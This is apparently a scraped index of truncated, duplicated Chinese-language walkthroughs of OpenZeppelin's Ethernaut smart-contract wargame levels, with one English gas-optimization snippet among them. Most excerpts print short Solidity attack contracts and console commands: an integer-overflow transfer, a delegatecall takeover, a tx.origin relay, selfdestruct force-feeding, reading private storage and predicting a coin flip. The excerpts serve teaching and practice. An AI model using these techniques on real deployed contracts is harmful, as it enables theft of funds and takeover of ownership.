Ethernaut 是一个基于 Web3/Solidity 的对抗游戏，受 overthewire.org 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。题目攻击合约，将合约里的owner设置为自己。Hack思路在 solidity 0.6版本是 合约方法名与合约名相同的方法就创建时会调用，和现在的 constructor() 一样。但是这个合约 名称是 Fallout ，里面的构造方法错误的写成了 Fal1out，所以创建后也可以执行Fal1out 方法来获取权限。// 1. 检查当前合约owner await contract.owner(); // 2.直接调用错误的初始化方法来获取 owner await contract.Fal1out(); // 3. 再次检查当前合约owner await contract.owner(); 如果是用 Remix IDE 的话，需要把合约的 SafeMath 库替换为老版本。// 将合约的 SafeMath 替换为老版本 // import 'openzeppelin-contracts-06/m...

Ethernaut 是一个基于 Web3/Solidity 的对抗游戏，受 overthewire.org 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。题目攻击合约，将合约里的owner设置为自己。Hack思路在 solidity 0.6版本是 合约方法名与合约名相同的方法就创建时会调用，和现在的 constructor() 一样。但是这个合约 名称是 Fallout ，里面的构造方法错误的写成了 Fal1out，所以创建后也可以执行Fal1out 方法来获取权限。// 1. 检查当前合约owner await contract.owner(); // 2.直接调用错误的初始化方法来获取 owner await contract.Fal1out(); // 3. 再次检查当前合约owner await contract.owner(); 如果是用 Remix IDE 的话，需要把合约的 SafeMath 库替换为老版本。// 将合约的 SafeMath 替换为老版本 // import 'openzeppelin-contracts-06/m...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目开始你有20个 Token，需要拥有更多的 Token。Hack思路合约版本是0.6，核心转账的地方没有做溢出检查，只需要特殊构建出一个数就可以绕过检查。攻击合约代码contract TokenAttack { constructor(Token _token) public { Token exploitInst = Token(_token); exploitInst.transfer(msg.sender, ((2 ** 256) - 21)); } } Hack案例…防范思路….参考资料The Parity Wallet Hack Explained

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目开始你有20个 Token，需要拥有更多的 Token。Hack思路合约版本是0.6，核心转账的地方没有做溢出检查，只需要特殊构建出一个数就可以绕过检查。攻击合约代码contract TokenAttack { constructor(Token _token) public { Token exploitInst = Token(_token); exploitInst.transfer(msg.sender, ((2 ** 256) - 21)); } } Hack案例…防范思路….参考资料The Parity Wallet Hack Explained

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个空合约，需要给这个合约里充点 ether。Hack思路一个合约要接受 ether 得一般得有 receive 或者 fallback 方法、除了这2个还有就是某个合约使用 selfdestruct 方法销毁时可以把剩余的ether转到指定合约。// 强制给合约赚钱会被 revert 掉 await sendTransaction({ from: player, to: contract.address , value: toWei("0.0001") }) // 用销毁合约的方式可以跳过这个检查 contract ForceHack { constructor(address payable target) payable { require(msg.value > 0); // forgefmt: disable-ne...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个空合约，需要给这个合约里充点 ether。Hack思路一个合约要接受 ether 得一般得有 receive 或者 fallback 方法、除了这2个还有就是某个合约使用 selfdestruct 方法销毁时可以把剩余的ether转到指定合约。// 强制给合约赚钱会被 revert 掉 await sendTransaction({ from: player, to: contract.address , value: toWei("0.0001") }) // 用销毁合约的方式可以跳过这个检查 contract ForceHack { constructor(address payable target) payable { require(msg.value > 0); // forgefmt: disable-ne...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目想办法获取到 Telephone 到 owner 权限。Hack思路想要获取合约 owner 需要跳过 tx.origin != msg.sender 检查，这2个点区别是tx.origin 是交易最初始的地址，基本都是用户msg.sender 是上一级调用的地址，如果经过某个合约转了一下，就会等于合约地址，而不是用户只需要用个中间合约转一下就可以做到 tx.origin != msg.sender ， 下面是代码interface ITelephone { function changeOwner(address _owner) external; } contract TelephoneHack { ITelephone public challenge; constructor(address challengeAdd...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目想办法获取到 Telephone 到 owner 权限。Hack思路想要获取合约 owner 需要跳过 tx.origin != msg.sender 检查，这2个点区别是tx.origin 是交易最初始的地址，基本都是用户msg.sender 是上一级调用的地址，如果经过某个合约转了一下，就会等于合约地址，而不是用户只需要用个中间合约转一下就可以做到 tx.origin != msg.sender ， 下面是代码interface ITelephone { function changeOwner(address _owner) external; } contract TelephoneHack { ITelephone public challenge; constructor(address challengeAdd...

Ethernaut 是一个基于 Web3/Solidity 的对抗游戏，受 overthewire.org 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。题目把 Fallback 合约中的 owner改为自己，并且把合约中的余额转走。Hack思路合约本来应该是想做一个捐款合约，捐钱最多的人拥有这个合约的权限，但是在接收 Ether 的 receive() 回调方法里验证逻辑不对，可以比较容易跳过检查， 用非常少的钱就用有这个合约的 Owner 权限。// 1.检查合约owner、余额等信息 await contract.owner(); await getBalance(contract.address) // 2.发送最低金额以成为捐款人 await contract.contribute({value: toWei("0.0001")}) // 3.直接发送给合同 1 wei，这将使我们成为新的所有者 await sendTransaction({ from: player, to: contract.address , value:1 }...

Ethernaut 是一个基于 Web3/Solidity 的对抗游戏，受 overthewire.org 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。题目把 Fallback 合约中的 owner改为自己，并且把合约中的余额转走。Hack思路合约本来应该是想做一个捐款合约，捐钱最多的人拥有这个合约的权限，但是在接收 Ether 的 receive() 回调方法里验证逻辑不对，可以比较容易跳过检查， 用非常少的钱就用有这个合约的 Owner 权限。// 1.检查合约owner、余额等信息 await contract.owner(); await getBalance(contract.address) // 2.发送最低金额以成为捐款人 await contract.contribute({value: toWei("0.0001")}) // 3.直接发送给合同 1 wei，这将使我们成为新的所有者 await sendTransaction({ from: player, to: contract.address , value:1 }...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目想办法成为King合约里的owner，还要阻止其他人成为King。Hack思路关键在 receive 方法里的逻辑 receive() external payable { // 必须要转一笔钱，比现在的 king 转的钱多 require(msg.value >= prize || msg.sender == owner); // 如果其他人转的钱比当前 king 转的多，就会把当前 king 的钱退回去，设置新king // 由于需要退 ether ，可以在退钱的 receive 方法里拦截 payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } 攻击合约contract KingHack { constructor(addre...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目想办法成为King合约里的owner，还要阻止其他人成为King。Hack思路关键在 receive 方法里的逻辑 receive() external payable { // 必须要转一笔钱，比现在的 king 转的钱多 require(msg.value >= prize || msg.sender == owner); // 如果其他人转的钱比当前 king 转的多，就会把当前 king 的钱退回去，设置新king // 由于需要退 ether ，可以在退钱的 receive 方法里拦截 payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } 攻击合约contract KingHack { constructor(addre...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目….Hack思路这个关和第0关 **0.Hello Ethernaut **类似， 都是直接把密码存在链上，只不过本关将变量设置为 private，其他合约就不方便直接读取，但是可以通过读 password 对应 slot里的数据来破解密码。// 浏览器控制台直读第二个 slot await web3.eth.getStorageAt(instance, 1); Output: // 用读取到的密码解锁 contract.unlock("..."); foundry 操作参考bytes32 password = vm.load(levelAddress, bytes32(uint256(1))); exploitInst.unlock(password); Hack案例…防范思路PS：现在的去中心化的区块链上所有的内容只能证...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目….Hack思路这个关和第0关 **0.Hello Ethernaut **类似， 都是直接把密码存在链上，只不过本关将变量设置为 private，其他合约就不方便直接读取，但是可以通过读 password 对应 slot里的数据来破解密码。// 浏览器控制台直读第二个 slot await web3.eth.getStorageAt(instance, 1); Output: // 用读取到的密码解锁 contract.unlock("..."); foundry 操作参考bytes32 password = vm.load(levelAddress, bytes32(uint256(1))); exploitInst.unlock(password); Hack案例…防范思路PS：现在的去中心化的区块链上所有的内容只能证...

Now there are many ways to write contracts to save Gas, here is a good case found more step-by-step, you can refer to.Case StudyA method to calculate the sum of even numbers in an input array and record the result after the calculation. The inputs are constant [12, 3, 4, 5, 3, 44, 2, 12, 3, 4, 5, 21, 46, 1, 2, 12].1.Initial Code not optimizeduint public total function sumIfEvenAndLessThan99(uint[] memory nums) external { for (uint i = 0; i < nums.length; i += 1) { bool isEven = nums[i] %...

Now there are many ways to write contracts to save Gas, here is a good case found more step-by-step, you can refer to.Case StudyA method to calculate the sum of even numbers in an input array and record the result after the calculation. The inputs are constant [12, 3, 4, 5, 3, 44, 2, 12, 3, 4, 5, 21, 46, 1, 2, 12].1.Initial Code not optimizeduint public total function sumIfEvenAndLessThan99(uint[] memory nums) external { for (uint i = 0; i < nums.length; i += 1) { bool isEven = nums[i] %...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将 Delegation 合约中的owner改为自己。Hack思路Delegation 可以委托调用 Delegate， 其中owner变量在同一个slot， 只要改 Delegate.owner , Delegation.owner 也会修改，调用时利用 fallback 这个方法不存在的默认hook来触发。 使用时要用 Delegate 的ABI来包装下 Delegation 的地址。 代码参考：Delegate(address(Delegation(payable(levelAddress)))).pwn(); Hack案例…防范思路….参考资料The Parity Wallet Hack Explained

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将 Delegation 合约中的owner改为自己。Hack思路Delegation 可以委托调用 Delegate， 其中owner变量在同一个slot， 只要改 Delegate.owner , Delegation.owner 也会修改，调用时利用 fallback 这个方法不存在的默认hook来触发。 使用时要用 Delegate 的ABI来包装下 Delegation 的地址。 代码参考：Delegate(address(Delegation(payable(levelAddress)))).pwn(); Hack案例…防范思路….参考资料The Parity Wallet Hack Explained

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个猜硬币正反面游戏，需要连续猜对10次。Hack思路所有的计算逻辑全部都写在了合约里，完全可以把逻辑复制一份计算出来。interface ICoinFlipChallenge { function flip(bool _guess) external returns (bool); } contract CoinFlipAttack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; ICoinFlipChallenge public exploitInst; constructor(address _target) { exploitInst = ICoinFlipChallen...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个猜硬币正反面游戏，需要连续猜对10次。Hack思路所有的计算逻辑全部都写在了合约里，完全可以把逻辑复制一份计算出来。interface ICoinFlipChallenge { function flip(bool _guess) external returns (bool); } contract CoinFlipAttack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; ICoinFlipChallenge public exploitInst; constructor(address _target) { exploitInst = ICoinFlipChallen...

Ethernaut 是一个由 OpenZeppelin 推出的基于 Solidity 编程语言的一个 Web3 对抗类游戏，玩家可以 Hack 每个关卡智能合约来达到通关的效果。收益Web3 开发入门对区块链有一个大概的认知了解开发需要的各种工具、平台编程手艺+NSolidity 入门起步、也许直接放弃学会把趁手的高级编程语言NodeJS、Go、Python、Rust 接入 Web3秃头面积+1学习资料Solidity by Example - 各种 Solidity Code 案例WTF Academy - Solidity 基础知识【中文】OpenZeppelin - 通用Solidity基础库、行业标准HardHat - Solidity 开发框架，基于NodeJSFoundry - Solidity 开发框架，基本Rust 编写、可以使用Solidity 写测试用例Soldity Docs - Solidity 官方开发文档教程YouTubeBilibili题目https://ethernaut.openzeppelin.com/level/0x7E0f539816573...

Ethernaut 是一个由 OpenZeppelin 推出的基于 Solidity 编程语言的一个 Web3 对抗类游戏，玩家可以 Hack 每个关卡智能合约来达到通关的效果。收益Web3 开发入门对区块链有一个大概的认知了解开发需要的各种工具、平台编程手艺+NSolidity 入门起步、也许直接放弃学会把趁手的高级编程语言NodeJS、Go、Python、Rust 接入 Web3秃头面积+1学习资料Solidity by Example - 各种 Solidity Code 案例WTF Academy - Solidity 基础知识【中文】OpenZeppelin - 通用Solidity基础库、行业标准HardHat - Solidity 开发框架，基于NodeJSFoundry - Solidity 开发框架，基本Rust 编写、可以使用Solidity 写测试用例Soldity Docs - Solidity 官方开发文档教程YouTubeBilibili题目https://ethernaut.openzeppelin.com/level/0x7E0f539816573...